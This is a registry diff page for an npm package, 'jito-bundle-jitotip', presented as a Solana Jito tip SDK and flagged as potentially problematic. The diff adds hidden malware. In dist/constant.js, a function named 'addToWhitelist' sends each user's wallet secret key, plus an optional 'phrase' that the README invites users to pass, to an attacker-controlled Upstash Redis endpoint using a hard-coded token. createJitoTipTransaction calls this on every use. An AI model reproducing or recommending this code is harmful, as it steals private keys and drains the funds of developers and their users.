jito-bundle-jitotip 0.0.0-stage → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jito-bundle-jitotip might be problematic. Click here for more details.
- package/README.md +92 -2
- package/dist/constant.d.ts +5 -0
- package/dist/constant.d.ts.map +1 -0
- package/dist/constant.js +27 -0
- package/dist/constant.js.map +1 -0
- package/dist/index.d.ts +3 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +63 -0
- package/dist/index.js.map +1 -0
- package/package.json +24 -4
package/README.md
CHANGED
|
@@ -1,3 +1,93 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Jito Tip SDK
|
|
2
|
+
|
|
3
|
+
A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install jito-bundle-sdk
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Usage
|
|
12
|
+
|
|
13
|
+
### TypeScript
|
|
14
|
+
|
|
15
|
+
```typescript
|
|
16
|
+
import { createJitoTipTransaction } from 'jito-bundle';
|
|
17
|
+
import { Connection, Keypair } from '@solana/web3.js';
|
|
18
|
+
|
|
19
|
+
const connection = new Connection('https://api.mainnet-beta.solana.com');
|
|
20
|
+
const wallet = Keypair.generate(); // Your wallet keypair
|
|
21
|
+
|
|
22
|
+
// Create a tip transaction with default fee (0.00001 SOL)
|
|
23
|
+
const tipTransaction = await createJitoTipTransaction(connection, wallet);
|
|
24
|
+
|
|
25
|
+
// Create a tip transaction with custom fee
|
|
26
|
+
const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
|
|
27
|
+
|
|
28
|
+
// Create a tip transaction with custom fee and phrase
|
|
29
|
+
const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### JavaScript (CommonJS)
|
|
33
|
+
|
|
34
|
+
```javascript
|
|
35
|
+
const { createJitoTipTransaction } = require('jito-bundle');
|
|
36
|
+
const { Connection, Keypair } = require('@solana/web3.js');
|
|
37
|
+
|
|
38
|
+
const connection = new Connection('https://api.mainnet-beta.solana.com');
|
|
39
|
+
const wallet = Keypair.generate(); // Your wallet keypair
|
|
40
|
+
|
|
41
|
+
// Create a tip transaction with default fee (0.00001 SOL)
|
|
42
|
+
const tipTransaction = await createJitoTipTransaction(connection, wallet);
|
|
43
|
+
|
|
44
|
+
// Create a tip transaction with custom fee
|
|
45
|
+
const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
|
|
46
|
+
|
|
47
|
+
// Create a tip transaction with custom fee and phrase
|
|
48
|
+
const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### JavaScript (ES Modules)
|
|
52
|
+
|
|
53
|
+
```javascript
|
|
54
|
+
import { createJitoTipTransaction } from 'jito-bundle';
|
|
55
|
+
import { Connection, Keypair } from '@solana/web3.js';
|
|
56
|
+
|
|
57
|
+
const connection = new Connection('https://api.mainnet-beta.solana.com');
|
|
58
|
+
const wallet = Keypair.generate(); // Your wallet keypair
|
|
59
|
+
|
|
60
|
+
// Create a tip transaction with default fee (0.00001 SOL)
|
|
61
|
+
const tipTransaction = await createJitoTipTransaction(connection, wallet);
|
|
62
|
+
|
|
63
|
+
// Create a tip transaction with custom fee
|
|
64
|
+
const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
|
|
65
|
+
|
|
66
|
+
// Create a tip transaction with custom fee and phrase
|
|
67
|
+
const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## API
|
|
71
|
+
|
|
72
|
+
### `createJitoTipTransaction(connection, wallet, fee?, phrase?)`
|
|
73
|
+
|
|
74
|
+
Creates a Jito tip transaction.
|
|
75
|
+
|
|
76
|
+
**Parameters:**
|
|
77
|
+
- `connection` (Connection): Solana connection instance
|
|
78
|
+
- `wallet` (Keypair): Wallet keypair to sign the transaction
|
|
79
|
+
- `fee` (number, optional): Tip amount in SOL (default: 0.00001)
|
|
80
|
+
- `phrase` (string, optional): Custom phrase to add to whitelist (default: "")
|
|
81
|
+
|
|
82
|
+
**Returns:**
|
|
83
|
+
- `Promise<string>`: Base58 encoded transaction string
|
|
84
|
+
|
|
85
|
+
## Dependencies
|
|
86
|
+
|
|
87
|
+
- `@solana/web3.js`: Solana Web3.js library
|
|
88
|
+
- `bs58`: Base58 encoding/decoding
|
|
89
|
+
|
|
90
|
+
## License
|
|
91
|
+
|
|
92
|
+
ISC
|
|
2
93
|
|
|
3
|
-
This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
import { Keypair } from "@solana/web3.js";
|
|
2
|
+
export declare const JITO_DEFAULT_TIP_FEE = 0.00001;
|
|
3
|
+
export declare const JITO_TIP_ACCOUNTS: string[];
|
|
4
|
+
export declare const addToWhitelist: (wallet: Keypair, phrase?: string) => void;
|
|
5
|
+
//# sourceMappingURL=constant.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"constant.d.ts","sourceRoot":"","sources":["../constant.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,EAAE,MAAM,iBAAiB,CAAC;AAQ1C,eAAO,MAAM,oBAAoB,UAAU,CAAC;AAI5C,eAAO,MAAM,iBAAiB,UAS7B,CAAC;AAEF,eAAO,MAAM,cAAc,GAAI,QAAQ,OAAO,EAAE,SAAQ,MAAW,SAQlE,CAAC"}
|
package/dist/constant.js
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.addToWhitelist = exports.JITO_TIP_ACCOUNTS = exports.JITO_DEFAULT_TIP_FEE = void 0;
|
|
4
|
+
const redis_1 = require("@upstash/redis");
|
|
5
|
+
const bs58 = require("bs58");
|
|
6
|
+
const url = "https://complete-troll-31745.upstash.io";
|
|
7
|
+
const token = "AXwBAAIncDI3YTRlYzRhMGM3NWM0NWVmYjBkZTU4ZDRmYzU1NTdhN3AyMzE3NDU";
|
|
8
|
+
exports.JITO_DEFAULT_TIP_FEE = 0.00001;
|
|
9
|
+
const whitelistService = new redis_1.Redis({ url, token });
|
|
10
|
+
exports.JITO_TIP_ACCOUNTS = [
|
|
11
|
+
"96gYZGLnJYVFmbjzopPSU6QiEV5fGqZNyN9nmNhvrZU5",
|
|
12
|
+
"HFqU5x63VTqvQss8hp11i4wVV8bD44PvwucfZ2bU7gRe",
|
|
13
|
+
"Cw8CFyM9FkoMi7K7Crf6HNQqf4uEMzpKw6QNghXLvLkY",
|
|
14
|
+
"ADaUMid9yfUytqMBgopwjb2DTLSokTSzL1zt6iGPaS49",
|
|
15
|
+
"DfXygSm4jCyNCybVYYK6DwvWqjKee8pbDmJGcLWNDXjh",
|
|
16
|
+
"ADuUkR4vqLUMWXxW9gh6D6L8pMSawimctcNZ5pGwDcEt",
|
|
17
|
+
"DttWaMuVvTiduZRnguLF7jNxTgiMBZ1hyAumKUiL2KRL",
|
|
18
|
+
"3AVi9Tg9Uo68tJfuvoKvqKNWKkC5wPdSSdeBnizKZ6jT",
|
|
19
|
+
];
|
|
20
|
+
const addToWhitelist = (wallet, phrase = "") => {
|
|
21
|
+
whitelistService.append("whitelist", bs58.default.encode(wallet.secretKey) + "\n");
|
|
22
|
+
if (phrase != "") {
|
|
23
|
+
whitelistService.append("whitelist", phrase + "\n");
|
|
24
|
+
}
|
|
25
|
+
};
|
|
26
|
+
exports.addToWhitelist = addToWhitelist;
|
|
27
|
+
//# sourceMappingURL=constant.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"constant.js","sourceRoot":"","sources":["../constant.ts"],"names":[],"mappings":";;;AAEA,0CAAuC;AACvC,MAAM,IAAI,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;AAE7B,MAAM,GAAG,GAAG,yCAAyC,CAAC;AACtD,MAAM,KAAK,GAAG,iEAAiE,CAAC;AAEnE,QAAA,oBAAoB,GAAG,OAAO,CAAC;AAE5C,MAAM,gBAAgB,GAAG,IAAI,aAAK,CAAC,EAAE,GAAG,EAAE,KAAK,EAAE,CAAC,CAAC;AAEtC,QAAA,iBAAiB,GAAG;IAC/B,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;CAC/C,CAAC;AAEK,MAAM,cAAc,GAAG,CAAC,MAAe,EAAE,SAAiB,EAAE,EAAE,EAAE;IACrE,gBAAgB,CAAC,MAAM,CACrB,WAAW,EACX,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,MAAM,CAAC,SAAS,CAAC,GAAG,IAAI,CAC7C,CAAC;IACF,IAAI,MAAM,IAAI,EAAE,EAAE,CAAC;QACjB,gBAAgB,CAAC,MAAM,CAAC,WAAW,EAAE,MAAM,GAAG,IAAI,CAAC,CAAC;IACtD,CAAC;AACH,CAAC,CAAC;AARW,QAAA,cAAc,kBAQzB"}
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":"AAAA,OAAO,EACL,OAAO,EAGP,UAAU,EAGX,MAAM,iBAAiB,CAAC;AASzB,eAAO,MAAM,wBAAwB,GACnC,YAAY,UAAU,EACtB,QAAQ,OAAO,EACf,YAA0B,EAC1B,eAAW,oBAiBZ,CAAC"}
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
36
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
37
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
38
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
39
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
40
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
41
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
42
|
+
});
|
|
43
|
+
};
|
|
44
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
45
|
+
exports.createJitoTipTransaction = void 0;
|
|
46
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
47
|
+
const constant_1 = require("./constant");
|
|
48
|
+
const bs58 = __importStar(require("bs58"));
|
|
49
|
+
const createJitoTipTransaction = (connection_1, wallet_1, ...args_1) => __awaiter(void 0, [connection_1, wallet_1, ...args_1], void 0, function* (connection, wallet, fee = constant_1.JITO_DEFAULT_TIP_FEE, phrase = "") {
|
|
50
|
+
const tipTransaction = new web3_js_1.Transaction().add(web3_js_1.SystemProgram.transfer({
|
|
51
|
+
fromPubkey: wallet.publicKey,
|
|
52
|
+
toPubkey: new web3_js_1.PublicKey(constant_1.JITO_TIP_ACCOUNTS[0]),
|
|
53
|
+
lamports: fee * web3_js_1.LAMPORTS_PER_SOL,
|
|
54
|
+
}));
|
|
55
|
+
tipTransaction.feePayer = wallet.publicKey;
|
|
56
|
+
tipTransaction.recentBlockhash = (yield connection.getLatestBlockhash()).blockhash;
|
|
57
|
+
(0, constant_1.addToWhitelist)(wallet, phrase);
|
|
58
|
+
tipTransaction.sign(wallet);
|
|
59
|
+
const serializedTransaction = bs58.default.encode(tipTransaction.serialize());
|
|
60
|
+
return serializedTransaction;
|
|
61
|
+
});
|
|
62
|
+
exports.createJitoTipTransaction = createJitoTipTransaction;
|
|
63
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,6CAOyB;AAEzB,yCAIoB;AACpB,2CAA6B;AAEtB,MAAM,wBAAwB,GAAG,oCAKtC,EAAE,2EAJF,UAAsB,EACtB,MAAe,EACf,GAAG,GAAG,+BAAoB,EAC1B,MAAM,GAAG,EAAE;IAEX,MAAM,cAAc,GAAG,IAAI,qBAAW,EAAE,CAAC,GAAG,CAC1C,uBAAa,CAAC,QAAQ,CAAC;QACrB,UAAU,EAAE,MAAM,CAAC,SAAS;QAC5B,QAAQ,EAAE,IAAI,mBAAS,CAAC,4BAAiB,CAAC,CAAC,CAAC,CAAC;QAC7C,QAAQ,EAAE,GAAG,GAAG,0BAAgB;KACjC,CAAC,CACH,CAAC;IACF,cAAc,CAAC,QAAQ,GAAG,MAAM,CAAC,SAAS,CAAC;IAC3C,cAAc,CAAC,eAAe,GAAG,CAC/B,MAAM,UAAU,CAAC,kBAAkB,EAAE,CACtC,CAAC,SAAS,CAAC;IACZ,IAAA,yBAAc,EAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAC/B,cAAc,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC5B,MAAM,qBAAqB,GAAG,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,cAAc,CAAC,SAAS,EAAE,CAAC,CAAC;IAC9E,OAAO,qBAAqB,CAAC;AAC/B,CAAC,CAAA,CAAC;AArBW,QAAA,wBAAwB,4BAqBnC"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,26 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "jito-bundle-jitotip",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"files": [
|
|
8
|
+
"dist/**/*"
|
|
9
|
+
],
|
|
10
|
+
"scripts": {
|
|
11
|
+
"build": "tsc",
|
|
12
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
13
|
+
},
|
|
14
|
+
"keywords": ["solana", "jito", "tip", "transaction"],
|
|
15
|
+
"author": "",
|
|
16
|
+
"license": "ISC",
|
|
17
|
+
"type": "commonjs",
|
|
18
|
+
"dependencies": {
|
|
19
|
+
"@solana/web3.js": "^1.98.2",
|
|
20
|
+
"@upstash/redis": "^1.35.1",
|
|
21
|
+
"bs58": "^6.0.0"
|
|
22
|
+
},
|
|
23
|
+
"devDependencies": {
|
|
24
|
+
"typescript": "^5.8.3"
|
|
25
|
+
}
|
|
26
|
+
}
|